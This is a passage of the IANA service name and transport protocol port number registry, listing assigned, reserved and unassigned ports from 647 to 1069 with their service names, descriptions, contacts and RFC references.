dhcp-failover 647 udp DHCP Failover [Bernard_Volz] [Bernard_Volz]
rrp 648 tcp Registry Registrar Protocol [Scott_Hollenbeck] [Scott_Hollenbeck]
(RRP)
rrp 648 udp Registry Registrar Protocol [Scott_Hollenbeck] [Scott_Hollenbeck]
(RRP)
cadview-3d 649 tcp Cadview-3d - streaming 3d [David_Cooper] [David_Cooper]
models over the internet
cadview-3d 649 udp Cadview-3d - streaming 3d [David_Cooper] [David_Cooper]
models over the internet
obex 650 tcp OBEX [Jeff_Garbers] [Jeff_Garbers]
obex 650 udp OBEX [Jeff_Garbers] [Jeff_Garbers]
ieee-mms 651 tcp IEEE MMS [Curtis_Anderson] [Curtis_Anderson]
ieee-mms 651 udp IEEE MMS [Curtis_Anderson] [Curtis_Anderson]
hello-port 652 tcp HELLO_PORT [Patrick_Cipiere] [Patrick_Cipiere]
hello-port 652 udp HELLO_PORT [Patrick_Cipiere] [Patrick_Cipiere]
repscmd 653 tcp RepCmd [Scott_Dale_2] [Scott_Dale_2]
repscmd 653 udp RepCmd [Scott_Dale_2] [Scott_Dale_2]
aodv 654 tcp AODV [Charles_Perkins] [Charles_Perkins]
aodv 654 udp AODV [Charles_Perkins] [Charles_Perkins]
tinc 655 tcp TINC [Ivo_Timmermans] [Ivo_Timmermans]
tinc 655 udp TINC [Ivo_Timmermans] [Ivo_Timmermans]
spmp 656 tcp SPMP [Jakob_Kaivo] [Jakob_Kaivo]
spmp 656 udp SPMP [Jakob_Kaivo] [Jakob_Kaivo]
rmc 657 tcp RMC [Michael_Schmidt] [Michael_Schmidt]
rmc 657 udp RMC [Michael_Schmidt] [Michael_Schmidt]
tenfold 658 tcp TenFold [Louis_Olszyk] [Louis_Olszyk]
tenfold 658 udp TenFold [Louis_Olszyk] [Louis_Olszyk]
659 Removed 2001-06-06
mac-srvr-admin 660 tcp MacOS Server Admin [Forest_Hill] [Forest_Hill]
mac-srvr-admin 660 udp MacOS Server Admin [Forest_Hill] [Forest_Hill]
hap 661 tcp HAP [Igor_Plotnikov] [Igor_Plotnikov]
hap 661 udp HAP [Igor_Plotnikov] [Igor_Plotnikov]
pftp 662 tcp PFTP [Ben_Schluricke] [Ben_Schluricke]
pftp 662 udp PFTP [Ben_Schluricke] [Ben_Schluricke]
purenoise 663 tcp PureNoise [Sam_Osa] [Sam_Osa]
purenoise 663 udp PureNoise [Sam_Osa] [Sam_Osa]
oob-ws-https 664 tcp DMTF out-of-band secure web [Jim_Davis] [Jim_Davis] 2007-06
services management protocol
asf-secure-rmcp 664 udp ASF Secure Remote Management [Carl_First] [Carl_First]
and Control Protocol
sun-dr 665 tcp Sun DR [Harinder_Bhasin] [Harinder_Bhasin]
sun-dr 665 udp Sun DR [Harinder_Bhasin] [Harinder_Bhasin]
mdqs 666 tcp
mdqs 666 udp
doom 666 tcp doom Id Software [ddt] [ddt]
doom 666 udp doom Id Software [ddt] [ddt]
campaign contribution
disclose 667 tcp disclosures - SDR [Jim_Dixon] [Jim_Dixon]
Technologies
campaign contribution
disclose 667 udp disclosures - SDR [Jim_Dixon] [Jim_Dixon]
Technologies
mecomm 668 tcp MeComm
mecomm 668 udp MeComm
meregister 669 tcp MeRegister [Armin_Sawusch] [Armin_Sawusch]
meregister 669 udp MeRegister [Armin_Sawusch] [Armin_Sawusch]
vacdsm-sws 670 tcp VACDSM-SWS
vacdsm-sws 670 udp VACDSM-SWS
vacdsm-app 671 tcp VACDSM-APP
vacdsm-app 671 udp VACDSM-APP
vpps-qua 672 tcp VPPS-QUA
vpps-qua 672 udp VPPS-QUA
cimplex 673 tcp CIMPLEX [Ulysses_G_Smith_Jr] [Ulysses_G_Smith_Jr]
cimplex 673 udp CIMPLEX [Ulysses_G_Smith_Jr] [Ulysses_G_Smith_Jr]
acap 674 tcp ACAP [Chris_Newman] [Chris_Newman] 2010-10-15
acap 674 udp ACAP [Chris_Newman] [Chris_Newman] 2010-10-15
dctp 675 tcp DCTP [Andre_Kramer] [Andre_Kramer]
dctp 675 udp DCTP [Andre_Kramer] [Andre_Kramer]
vpps-via 676 tcp VPPS Via [Ulysses_G_Smith_Jr] [Ulysses_G_Smith_Jr]
vpps-via 676 udp VPPS Via [Ulysses_G_Smith_Jr] [Ulysses_G_Smith_Jr]
vpp 677 tcp Virtual Presence Protocol [Klaus_Wolf] [Klaus_Wolf]
vpp 677 udp Virtual Presence Protocol [Klaus_Wolf] [Klaus_Wolf]
ggf-ncp 678 tcp GNU Generation Foundation [Noah_Paul] [Noah_Paul]
NCP
ggf-ncp 678 udp GNU Generation Foundation [Noah_Paul] [Noah_Paul]
NCP
mrm 679 tcp MRM [Liming_Wei] [Liming_Wei]
mrm 679 udp MRM [Liming_Wei] [Liming_Wei]
entrust-aaas 680 tcp entrust-aaas
entrust-aaas 680 udp entrust-aaas
entrust-aams 681 tcp entrust-aams [Adrian_Mancini] [Adrian_Mancini]
entrust-aams 681 udp entrust-aams [Adrian_Mancini] [Adrian_Mancini]
xfr 682 tcp XFR [Noah_Paul_2] [Noah_Paul_2]
xfr 682 udp XFR [Noah_Paul_2] [Noah_Paul_2]
corba-iiop 683 tcp CORBA IIOP
corba-iiop 683 udp CORBA IIOP
corba-iiop-ssl 684 tcp CORBA IIOP SSL [Andrew_Watson] [Andrew_Watson]
corba-iiop-ssl 684 udp CORBA IIOP SSL [Andrew_Watson] [Andrew_Watson]
mdc-portmapper 685 tcp MDC Port Mapper [Noah_Paul] [Noah_Paul]
mdc-portmapper 685 udp MDC Port Mapper [Noah_Paul] [Noah_Paul]
hcp-wismar 686 tcp Hardware Control Protocol [David_Merchant] [David_Merchant]
Wismar
hcp-wismar 686 udp Hardware Control Protocol [David_Merchant] [David_Merchant]
Wismar
asipregistry 687 tcp asipregistry [Erik_Sea] [Erik_Sea]
asipregistry 687 udp asipregistry [Erik_Sea] [Erik_Sea]
realm-rusd 688 tcp ApplianceWare managment [Stacy_Kenworthy] [Stacy_Kenworthy]
protocol
realm-rusd 688 udp ApplianceWare managment [Stacy_Kenworthy] [Stacy_Kenworthy]
protocol
nmap 689 tcp NMAP [Peter_Dennis_Bartok] [Peter_Dennis_Bartok]
nmap 689 udp NMAP [Peter_Dennis_Bartok] [Peter_Dennis_Bartok]
vatp 690 tcp Velneo Application Transfer [Velneo] [David_Gutierrez] 2015-02-03
Protocol
vatp 690 udp Velneo Application Transfer [Velneo] [David_Gutierrez] 2015-02-03
Protocol
msexch-routing 691 tcp MS Exchange Routing [David_Lemson] [David_Lemson]
msexch-routing 691 udp MS Exchange Routing [David_Lemson] [David_Lemson]
hyperwave-isp 692 tcp Hyperwave-ISP [Gerald_Mesaric] [Gerald_Mesaric]
hyperwave-isp 692 udp Hyperwave-ISP [Gerald_Mesaric] [Gerald_Mesaric]
connendp 693 tcp almanid Connection Endpoint [Ronny_Bremer] [Ronny_Bremer]
connendp 693 udp almanid Connection Endpoint [Ronny_Bremer] [Ronny_Bremer]
ha-cluster 694 tcp ha-cluster [Alan_Robertson] [Alan_Robertson]
ha-cluster 694 udp ha-cluster [Alan_Robertson] [Alan_Robertson]
ieee-mms-ssl 695 tcp IEEE-MMS-SSL [Curtis_Anderson_2] [Curtis_Anderson_2]
ieee-mms-ssl 695 udp IEEE-MMS-SSL [Curtis_Anderson_2] [Curtis_Anderson_2]
rushd 696 tcp RUSHD [Greg_Ercolano] [Greg_Ercolano]
rushd 696 udp RUSHD [Greg_Ercolano] [Greg_Ercolano]
uuidgen 697 tcp UUIDGEN [James_Falkner] [James_Falkner]
uuidgen 697 udp UUIDGEN [James_Falkner] [James_Falkner]
olsr 698 tcp OLSR [Thomas_Clausen] [Thomas_Clausen]
olsr 698 udp OLSR [Thomas_Clausen] [Thomas_Clausen]
accessnetwork 699 tcp Access Network [Yingchun_Xu] [Yingchun_Xu]
accessnetwork 699 udp Access Network [Yingchun_Xu] [Yingchun_Xu]
epp 700 tcp Extensible Provisioning [RFC5734]
Protocol
epp 700 udp Extensible Provisioning [RFC5734]
Protocol
lmp 701 tcp Link Management Protocol [RFC4204]
(LMP)
lmp 701 udp Link Management Protocol [RFC4204]
(LMP)
iris-beep 702 tcp IRIS over BEEP [RFC3983]
iris-beep 702 udp IRIS over BEEP [RFC3983]
703 Unassigned
elcsd 704 tcp errlog copy/server daemon
elcsd 704 udp errlog copy/server daemon
agentx 705 tcp AgentX [Bob_Natale] [Bob_Natale]
agentx 705 udp AgentX [Bob_Natale] [Bob_Natale]
silc 706 tcp SILC [Pekka_Riikonen] [Pekka_Riikonen]
silc 706 udp SILC [Pekka_Riikonen] [Pekka_Riikonen]
borland-dsj 707 tcp Borland DSJ [Gerg_Cole] [Gerg_Cole]
borland-dsj 707 udp Borland DSJ [Gerg_Cole] [Gerg_Cole]
708 Unassigned
entrust-kmsh 709 tcp Entrust Key Management
Service Handler
entrust-kmsh 709 udp Entrust Key Management
Service Handler
entrust-ash 710 tcp Entrust Administration [Peter_Whittaker] [Peter_Whittaker]
Service Handler
entrust-ash 710 udp Entrust Administration [Peter_Whittaker] [Peter_Whittaker]
Service Handler
cisco-tdp 711 tcp Cisco TDP [Bruce_Davie] [Bruce_Davie]
cisco-tdp 711 udp Cisco TDP [Bruce_Davie] [Bruce_Davie]
tbrpf 712 tcp TBRPF [RFC3684]
tbrpf 712 udp TBRPF [RFC3684]
iris-xpc 713 tcp IRIS over XPC
iris-xpc 713 udp IRIS over XPC
iris-xpcs 714 tcp IRIS over XPCS [RFC4992]
iris-xpcs 714 udp IRIS over XPCS [RFC4992]
iris-lwz 715 tcp IRIS-LWZ [RFC4993]
iris-lwz 715 udp IRIS-LWZ [RFC4993]
pana 716 udp PANA Messages [RFC5191]
717-728 Unassigned
netviewdm1 729 tcp IBM NetView DM/6000
Server/Client
netviewdm1 729 udp IBM NetView DM/6000
Server/Client
netviewdm2 730 tcp IBM NetView DM/6000 send/tcp
netviewdm2 730 udp IBM NetView DM/6000 send/tcp
netviewdm3 731 tcp IBM NetView DM/6000 [Philippe_Binet] [Philippe_Binet]
receive/tcp
netviewdm3 731 udp IBM NetView DM/6000 [Philippe_Binet] [Philippe_Binet]
receive/tcp
732-740 Unassigned
netgw 741 tcp netGW [Oliver_Korfmacher] [Oliver_Korfmacher]
netgw 741 udp netGW [Oliver_Korfmacher] [Oliver_Korfmacher]
netrcs 742 tcp Network based Rev. Cont. [Gordon_C_Galligher] [Gordon_C_Galligher]
Sys.
netrcs 742 udp Network based Rev. Cont. [Gordon_C_Galligher] [Gordon_C_Galligher]
Sys.
743 Unassigned
flexlm 744 tcp Flexible License Manager [Matt_Christiano] [Matt_Christiano]
flexlm 744 udp Flexible License Manager [Matt_Christiano] [Matt_Christiano]
745-746 Unassigned
fujitsu-dev 747 tcp Fujitsu Device Control
fujitsu-dev 747 udp Fujitsu Device Control
ris-cm 748 tcp Russell Info Sci Calendar
Manager
ris-cm 748 udp Russell Info Sci Calendar
Manager
kerberos-adm 749 tcp kerberos administration
kerberos-adm 749 udp kerberos administration
rfile 750 tcp
loadav 750 udp
kerberos-iv 750 udp kerberos version iv [Martin_Hamilton] [Martin_Hamilton]
pump 751 tcp
pump 751 udp
qrh 752 tcp
qrh 752 udp
rrh 753 tcp
rrh 753 udp
tell 754 tcp send [Josyula_R_Rao] [Josyula_R_Rao]
tell 754 udp send [Josyula_R_Rao] [Josyula_R_Rao]
755-757 Unassigned
nlogin 758 tcp
nlogin 758 udp
con 759 tcp
con 759 udp
ns 760 tcp
ns 760 udp
rxe 761 tcp
rxe 761 udp
quotad 762 tcp
quotad 762 udp
cycleserv 763 tcp
cycleserv 763 udp
omserv 764 tcp
omserv 764 udp
webster 765 tcp [Josyula_R_Rao] [Josyula_R_Rao]
webster 765 udp [Josyula_R_Rao] [Josyula_R_Rao]
766 Unassigned
phonebook 767 tcp phone [Josyula_R_Rao] [Josyula_R_Rao]
phonebook 767 udp phone [Josyula_R_Rao] [Josyula_R_Rao]
768 Unassigned
vid 769 tcp
vid 769 udp
cadlock 770 tcp
cadlock 770 udp
rtip 771 tcp
rtip 771 udp
cycleserv2 772 tcp
cycleserv2 772 udp
submit 773 tcp
notify 773 udp
rpasswd 774 tcp
IANA assigned this
acmaint-dbd 774 udp well-formed service name as
a replacement for
"acmaint_dbd".
This entry is an alias to "acmaint-dbd". This entry is now
acmaint_dbd 774 udp historic, not usable for use with many common service
discovery mechanisms.
entomb 775 tcp
IANA assigned this
acmaint-transd 775 udp well-formed service name as
a replacement for
"acmaint_transd".
This entry is an alias to "acmaint-transd". This entry is now
acmaint_transd 775 udp historic, not usable for use with many common service
discovery mechanisms.
wpages 776 tcp [Josyula_R_Rao] [Josyula_R_Rao]
wpages 776 udp [Josyula_R_Rao] [Josyula_R_Rao]
multiling-http 777 tcp Multiling HTTP [Alejandro_Bonet] [Alejandro_Bonet]
multiling-http 777 udp Multiling HTTP [Alejandro_Bonet] [Alejandro_Bonet]
778-779 Unassigned
wpgs 780 tcp [Josyula_R_Rao] [Josyula_R_Rao]
wpgs 780 udp [Josyula_R_Rao] [Josyula_R_Rao]
781-785 Unassigned
786 Unassigned 2002-05-08
787 Unassigned 2002-10-08
Unauthorized
788-799 Unassigned Use Known on
port 796
IANA assigned this
mdbs-daemon 800 tcp well-formed service name as
a replacement for
"mdbs_daemon".
This entry is an alias to "mdbs-daemon". This entry is now
mdbs_daemon 800 tcp historic, not usable for use with many common service
discovery mechanisms.
IANA assigned this
mdbs-daemon 800 udp well-formed service name as
a replacement for
"mdbs_daemon".
This entry is an alias to "mdbs-daemon". This entry is now
mdbs_daemon 800 udp historic, not usable for use with many common service
discovery mechanisms.
device 801 tcp
device 801 udp
mbap-s 802 tcp Modbus Application Protocol [modbus.org] [Dennis_Dube] 2014-06-10
Secure
mbap-s 802 udp Modbus Application Protocol [modbus.org] [Dennis_Dube] 2014-06-10
Secure
803-809 Unassigned
fcp-udp 810 tcp FCP [Paul_Whittemore] [Paul_Whittemore]
fcp-udp 810 udp FCP Datagram [Paul_Whittemore] [Paul_Whittemore]
811-827 Unassigned
itm-mcell-s 828 tcp itm-mcell-s [Portnoy_Boxman] [Portnoy_Boxman]
itm-mcell-s 828 udp itm-mcell-s [Portnoy_Boxman] [Portnoy_Boxman]
pkix-3-ca-ra 829 tcp PKIX-3 CA/RA [Carlisle_Adams] [Carlisle_Adams]
pkix-3-ca-ra 829 udp PKIX-3 CA/RA [Carlisle_Adams] [Carlisle_Adams]
netconf-ssh 830 tcp NETCONF over SSH [RFC6242]
netconf-ssh 830 udp NETCONF over SSH [RFC6242]
netconf-beep 831 tcp NETCONF over BEEP [RFC4744]
netconf-beep 831 udp NETCONF over BEEP [RFC4744]
netconfsoaphttp 832 tcp NETCONF for SOAP over HTTPS [RFC4743]
netconfsoaphttp 832 udp NETCONF for SOAP over HTTPS [RFC4743]
netconfsoapbeep 833 tcp NETCONF for SOAP over BEEP [RFC4743]
netconfsoapbeep 833 udp NETCONF for SOAP over BEEP [RFC4743]
834-846 Unassigned
dhcp-failover2 847 tcp dhcp-failover 2 [Bernard_Volz] [Bernard_Volz]
dhcp-failover2 847 udp dhcp-failover 2 [Bernard_Volz] [Bernard_Volz]
gdoi 848 tcp GDOI [RFC3547]
gdoi 848 udp GDOI [RFC3547]
849-852 Unassigned
domain-s 853 tcp DNS query-response protocol [IESG] [IETF_Chair] 2015-10-08 2017-01-23 [RFC7858][RFC8094]
run over TLS/DTLS
domain-s 853 udp DNS query-response protocol [IESG] [IETF_Chair] 2015-10-08 2017-01-23 [RFC7858][RFC8094]
run over TLS/DTLS
dlep 854 tcp Dynamic Link Exchange [IESG] [IETF_Chair] 2017-04-03 [RFC8175]
Protocol (DLEP)
dlep 854 udp Dynamic Link Exchange [IESG] [IETF_Chair] 2017-04-03 [RFC8175]
Protocol (DLEP)
855-859 Unassigned
iscsi 860 tcp iSCSI [IESG] [IETF_Chair] 2013-08-27 [RFC7143]
iscsi 860 udp iSCSI [IESG] [IETF_Chair] 2013-08-27 [RFC7143]
owamp-control 861 tcp OWAMP-Control [RFC4656]
owamp-control 861 udp OWAMP-Control [RFC4656]
twamp-control 862 tcp Two-way Active Measurement [RFC5357]
Protocol (TWAMP) Control
twamp-control 862 udp Two-way Active Measurement [RFC5357]
Protocol (TWAMP) Control
863-872 Unassigned
rsync 873 tcp rsync [Andrew_Tridgell] [Andrew_Tridgell]
rsync 873 udp rsync [Andrew_Tridgell] [Andrew_Tridgell]
874-885 Unassigned
iclcnet-locate 886 tcp ICL coNETion locate server [Bob_Lyon] [Bob_Lyon]
iclcnet-locate 886 udp ICL coNETion locate server [Bob_Lyon] [Bob_Lyon]
ICL coNETion server info
iclcnet-svinfo 887 tcp IANA assigned this [Bob_Lyon] [Bob_Lyon]
well-formed service name as
a replacement for
"iclcnet_svinfo".
This entry is an alias to "iclcnet-svinfo". This entry is now
iclcnet_svinfo 887 tcp ICL coNETion server info [Bob_Lyon] [Bob_Lyon] historic, not usable for use with many common service
discovery mechanisms.
ICL coNETion server info
iclcnet-svinfo 887 udp IANA assigned this [Bob_Lyon] [Bob_Lyon]
well-formed service name as
a replacement for
"iclcnet_svinfo".
This entry is an alias to "iclcnet-svinfo". This entry is now
iclcnet_svinfo 887 udp ICL coNETion server info [Bob_Lyon] [Bob_Lyon] historic, not usable for use with many common service
discovery mechanisms.
accessbuilder 888 tcp AccessBuilder [Steve_Sweeney] [Steve_Sweeney]
accessbuilder 888 udp AccessBuilder [Steve_Sweeney] [Steve_Sweeney]
cddbp 888 tcp CD Database Protocol [Steve_Scherf] [Steve_Scherf] This entry records an unassigned but widespread use
889-899 Unassigned
omginitialrefs 900 tcp OMG Initial Refs [Christian_Callsen] [Christian_Callsen]
omginitialrefs 900 udp OMG Initial Refs [Christian_Callsen] [Christian_Callsen]
smpnameres 901 tcp SMPNAMERES [Leif_Ekblad] [Leif_Ekblad]
smpnameres 901 udp SMPNAMERES [Leif_Ekblad] [Leif_Ekblad]
ideafarm-door 902 tcp self documenting Telnet Door
ideafarm-door 902 udp self documenting Door: send
0x00 for info
ideafarm-panic 903 tcp self documenting Telnet [Wo_o_Ideafarm] [Wo_o_Ideafarm]
Panic Door
ideafarm-panic 903 udp self documenting Panic Door: [Wo_o_Ideafarm] [Wo_o_Ideafarm]
send 0x00 for info
904-909 Unassigned
kink 910 tcp Kerberized Internet [RFC4430]
Negotiation of Keys (KINK)
kink 910 udp Kerberized Internet [RFC4430]
Negotiation of Keys (KINK)
xact-backup 911 tcp xact-backup [Bill_Carroll] [Bill_Carroll]
xact-backup 911 udp xact-backup [Bill_Carroll] [Bill_Carroll]
apex-mesh 912 tcp APEX relay-relay service
apex-mesh 912 udp APEX relay-relay service
apex-edge 913 tcp APEX endpoint-relay service [RFC3340]
apex-edge 913 udp APEX endpoint-relay service [RFC3340]
914-952 Unassigned
rndc 953 tcp BIND9 remote name daemon [Internet_Systems_Consortium_Inc] [Ray_Bellis] 2017-06-08
controller
953 udp Reserved
954-988 Unassigned
ftps-data 989 tcp ftp protocol, data, over
TLS/SSL
ftps-data 989 udp ftp protocol, data, over
TLS/SSL
ftps 990 tcp ftp protocol, control, over [Christopher_Allen] [Christopher_Allen]
TLS/SSL
ftps 990 udp ftp protocol, control, over [Christopher_Allen] [Christopher_Allen]
TLS/SSL
nas 991 tcp Netnews Administration [Vera_Heinau][Heiko_Schlichting] [Vera_Heinau][Heiko_Schlichting] 2017-02-10 [RFC4707]
System
nas 991 udp Netnews Administration [Vera_Heinau][Heiko_Schlichting] [Vera_Heinau][Heiko_Schlichting] 2017-02-10 [RFC4707]
System
telnets 992 tcp telnet protocol over TLS/SSL
telnets 992 udp telnet protocol over TLS/SSL
imaps 993 tcp IMAP over TLS protocol [IESG] [IETF_Chair] 2017-12-12 [RFC8314]
imaps 993 udp imap4 protocol over TLS/SSL
994 tcp Reserved 2011-08-31 (previous contact was[Christopher_Allen])
994 udp Reserved
pop3s 995 tcp POP3 over TLS protocol [IESG] [IETF_Chair] 2017-12-12 [RFC8314]
pop3s 995 udp pop3 protocol over TLS/SSL [Gordon_Mangione] [Gordon_Mangione]
(was spop3)
vsinet 996 tcp vsinet [Rob_Juergens] [Rob_Juergens]
vsinet 996 udp vsinet [Rob_Juergens] [Rob_Juergens]
maitrd 997 tcp
maitrd 997 udp
busboy 998 tcp
puparp 998 udp
garcon 999 tcp
applix 999 udp Applix ac
puprouter 999 tcp
puprouter 999 udp
cadlock2 1000 tcp
cadlock2 1000 udp
webpush 1001 tcp HTTP Web Push [IESG] [IETF_Chair] 2016-11-01 [RFC8030]
1001 udp Reserved
1002-1007 Unassigned
1008 udp Possibly used by Sun
Solaris????
1009 Unassigned
surf 1010 tcp surf [Joseph_Geer] [Joseph_Geer]
surf 1010 udp surf [Joseph_Geer] [Joseph_Geer]
1011-1020 Reserved
exp1 1021 tcp RFC3692-style Experiment 1 [IESG] [IETF_Chair] [1][RFC4727][RFC6335]
exp1 1021 udp RFC3692-style Experiment 1 [IESG] [IETF_Chair] [1][RFC4727][RFC6335]
exp1 1021 sctp RFC3692-style Experiment 1 [IESG] [IETF_Chair] [1][RFC4727][RFC6335]
exp1 1021 dccp RFC3692-style Experiment 1 [IESG] [IETF_Chair] [1][RFC4727][RFC6335]
exp2 1022 tcp RFC3692-style Experiment 2 [IESG] [IETF_Chair] [1][RFC4727][RFC6335]
exp2 1022 udp RFC3692-style Experiment 2 [IESG] [IETF_Chair] [1][RFC4727][RFC6335]
exp2 1022 sctp RFC3692-style Experiment 2 [IESG] [IETF_Chair] [1][RFC4727][RFC6335]
exp2 1022 dccp RFC3692-style Experiment 2 [IESG] [IETF_Chair] [1][RFC4727][RFC6335]
1023 tcp Reserved [IANA] [IANA]
1023 udp Reserved [IANA] [IANA]
1024 tcp Reserved [IANA] [IANA]
1024 udp Reserved [IANA] [IANA]
blackjack 1025 tcp network blackjack
blackjack 1025 udp network blackjack
cap 1026 tcp Calendar Access Protocol [Doug_Royer] [Doug_Royer] 2010-12-09
cap 1026 udp Calendar Access Protocol [Doug_Royer] [Doug_Royer] 2010-12-09
6a44 1027 udp IPv6 Behind NAT44 CPEs [IESG] [IETF_Chair] 2012-08-02 [RFC6751]
1027 tcp Reserved
1028 Deprecated 2004-02
solid-mux 1029 tcp Solid Mux Server [Anders_Borg] [Anders_Borg] 2004-11
solid-mux 1029 udp Solid Mux Server [Anders_Borg] [Anders_Borg] 2004-11
1030 Reserved 2013-05-24 This entry is being removed on 2013-05-24.
1031 Reserved 2013-05-24 This entry is being removed on 2013-05-24.
1032 Reserved 2013-05-24 This entry is being removed on 2013-05-24.
netinfo-local 1033 tcp local netinfo port [Marc_Majka] [Marc_Majka] 2002-08
netinfo-local 1033 udp local netinfo port [Marc_Majka] [Marc_Majka] 2002-08
activesync 1034 tcp ActiveSync Notifications [Sandra_Vargas] [Sandra_Vargas] 2003-03
activesync 1034 udp ActiveSync Notifications [Sandra_Vargas] [Sandra_Vargas] 2003-03
mxxrlogin 1035 tcp MX-XR RPC [Valassis] [John_Eckert] 2003-04 2015-05-05
mxxrlogin 1035 udp MX-XR RPC [Valassis] [John_Eckert] 2003-04 2015-05-05
nsstp 1036 tcp Nebula Secure Segment [Steve_Ravida] [Steve_Ravida]
Transfer Protocol
nsstp 1036 udp Nebula Secure Segment [Steve_Ravida] [Steve_Ravida]
Transfer Protocol
ams 1037 tcp AMS [Ronald_R_Ohmer] [Ronald_R_Ohmer] 2004-02
ams 1037 udp AMS [Ronald_R_Ohmer] [Ronald_R_Ohmer] 2004-02
mtqp 1038 tcp Message Tracking Query [RFC3887]
Protocol
mtqp 1038 udp Message Tracking Query [RFC3887]
Protocol
sbl 1039 tcp Streamlined Blackhole [Jonathan_A_Zdziaras] [Jonathan_A_Zdziaras] 2004-11
sbl 1039 udp Streamlined Blackhole [Jonathan_A_Zdziaras] [Jonathan_A_Zdziaras] 2004-11
netarx 1040 tcp Netarx Netcare [Sandy_Kronenberg] [Sandy_Kronenberg] 2008-04-03
netarx 1040 udp Netarx Netcare [Sandy_Kronenberg] [Sandy_Kronenberg] 2008-04-03
danf-ak2 1041 tcp AK2 Product [Karl_Palsson] [Karl_Palsson] 2004-11
danf-ak2 1041 udp AK2 Product [Karl_Palsson] [Karl_Palsson] 2004-11
afrog 1042 tcp Subnet Roaming [Michael_Chapman] [Michael_Chapman] 2004-11
afrog 1042 udp Subnet Roaming [Michael_Chapman] [Michael_Chapman] 2004-11
boinc-client 1043 tcp BOINC Client Control [David_Anderson] [David_Anderson] 2004-11
boinc-client 1043 udp BOINC Client Control [David_Anderson] [David_Anderson] 2004-11
dcutility 1044 tcp Dev Consortium Utility [Chris_Ryland] [Chris_Ryland] 2004-11
dcutility 1044 udp Dev Consortium Utility [Chris_Ryland] [Chris_Ryland] 2004-11
fpitp 1045 tcp Fingerprint Image Transfer [Steven_Fields] [Steven_Fields] 2002-02
Protocol
fpitp 1045 udp Fingerprint Image Transfer [Steven_Fields] [Steven_Fields] 2002-02
Protocol
wfremotertm 1046 tcp WebFilter Remote Monitor [Tim_Morgan] [Tim_Morgan] 2004-11
wfremotertm 1046 udp WebFilter Remote Monitor [Tim_Morgan] [Tim_Morgan] 2004-11
neod1 1047 tcp Sun's NEO Object Request
Broker
neod1 1047 udp Sun's NEO Object Request
Broker
neod2 1048 tcp Sun's NEO Object Request [Rohit_Garg] [Rohit_Garg]
Broker
neod2 1048 udp Sun's NEO Object Request [Rohit_Garg] [Rohit_Garg]
Broker
td-postman 1049 tcp Tobit David Postman VPMN [Franz_Josef_Leuders] [Franz_Josef_Leuders]
td-postman 1049 udp Tobit David Postman VPMN [Franz_Josef_Leuders] [Franz_Josef_Leuders]
cma 1050 tcp CORBA Management Agent [Ramy_Zaarour] [Ramy_Zaarour]
cma 1050 udp CORBA Management Agent [Ramy_Zaarour] [Ramy_Zaarour]
optima-vnet 1051 tcp Optima VNET [Ralf_Doewich] [Ralf_Doewich]
optima-vnet 1051 udp Optima VNET [Ralf_Doewich] [Ralf_Doewich]
ddt 1052 tcp Dynamic DNS Tools [Remi_Lefebvre] [Remi_Lefebvre]
ddt 1052 udp Dynamic DNS Tools [Remi_Lefebvre] [Remi_Lefebvre]
Unauthorized
remote-as 1053 tcp Remote Assistant (RA) [Roman_Kriis] [Roman_Kriis] Use Known on
port 1053
remote-as 1053 udp Remote Assistant (RA) [Roman_Kriis] [Roman_Kriis]
brvread 1054 tcp BRVREAD [A_Boninn] [A_Boninn]
brvread 1054 udp BRVREAD [A_Boninn] [A_Boninn]
ansyslmd 1055 tcp ANSYS - License Manager [Suzanne_Lorrin] [Suzanne_Lorrin]
ansyslmd 1055 udp ANSYS - License Manager [Suzanne_Lorrin] [Suzanne_Lorrin]
vfo 1056 tcp VFO [Anthony_Gonzalez] [Anthony_Gonzalez]
vfo 1056 udp VFO [Anthony_Gonzalez] [Anthony_Gonzalez]
startron 1057 tcp STARTRON [Markus_Sabadello] [Markus_Sabadello]
startron 1057 udp STARTRON [Markus_Sabadello] [Markus_Sabadello]
nim 1058 tcp nim
nim 1058 udp nim
nimreg 1059 tcp nimreg [Robert_Gordon] [Robert_Gordon]
nimreg 1059 udp nimreg [Robert_Gordon] [Robert_Gordon]
polestar 1060 tcp POLESTAR [Masakuni_Okada] [Masakuni_Okada]
polestar 1060 udp POLESTAR [Masakuni_Okada] [Masakuni_Okada]
kiosk 1061 tcp KIOSK [Ken_Ksiazek] [Ken_Ksiazek]
kiosk 1061 udp KIOSK [Ken_Ksiazek] [Ken_Ksiazek]
veracity 1062 tcp Veracity [Ross_Williams] [Ross_Williams]
veracity 1062 udp Veracity [Ross_Williams] [Ross_Williams]
kyoceranetdev 1063 tcp KyoceraNetDev [Shigenaka_Kanemitsu] [Shigenaka_Kanemitsu]
kyoceranetdev 1063 udp KyoceraNetDev [Shigenaka_Kanemitsu] [Shigenaka_Kanemitsu]
jstel 1064 tcp JSTEL [Duane_Kiser] [Duane_Kiser]
jstel 1064 udp JSTEL [Duane_Kiser] [Duane_Kiser]
syscomlan 1065 tcp SYSCOMLAN [Alexandre_Lechenne] [Alexandre_Lechenne] 2008-12-10
syscomlan 1065 udp SYSCOMLAN [Alexandre_Lechenne] [Alexandre_Lechenne] 2008-12-10
fpo-fns 1066 tcp FPO-FNS [Jens_Klose] [Jens_Klose]
fpo-fns 1066 udp FPO-FNS [Jens_Klose] [Jens_Klose]
Installation Bootstrap
Proto. Serv.
instl-boots 1067 tcp IANA assigned this
well-formed service name as
a replacement for
"instl_boots".
Installation Bootstrap This entry is an alias to "instl-boots". This entry is now
instl_boots 1067 tcp Proto. Serv. historic, not usable for use with many common service
discovery mechanisms.
Installation Bootstrap
Proto. Serv.
instl-boots 1067 udp IANA assigned this
well-formed service name as
a replacement for
"instl_boots".
Installation Bootstrap This entry is an alias to "instl-boots". This entry is now
instl_boots 1067 udp Proto. Serv. historic, not usable for use with many common service
discovery mechanisms.
Installation Bootstrap
Proto. Cli.
instl-bootc 1068 tcp IANA assigned this [David_Arko] [David_Arko]
well-formed service name as
a replacement for
"instl_bootc".
Installation Bootstrap This entry is an alias to "instl-bootc". This entry is now
instl_bootc 1068 tcp Proto. Cli. [David_Arko] [David_Arko] historic, not usable for use with many common service
discovery mechanisms.
Installation Bootstrap
Proto. Cli.
instl-bootc 1068 udp IANA assigned this [David_Arko] [David_Arko]
well-formed service name as
a replacement for
"instl_bootc".
Installation Bootstrap This entry is an alias to "instl-bootc". This entry is now
instl_bootc 1068 udp Proto. Cli. [David_Arko] [David_Arko] historic, not usable for use with many common service
discovery mechanisms.
cognex-insight 1069 tcp COGNEX-INSIGHT [Steve_Olson] [Steve_Olson]
cognex-insight 1069 udp COGNEX-INSIGHT [Steve_Olson] [Steve_Olson]
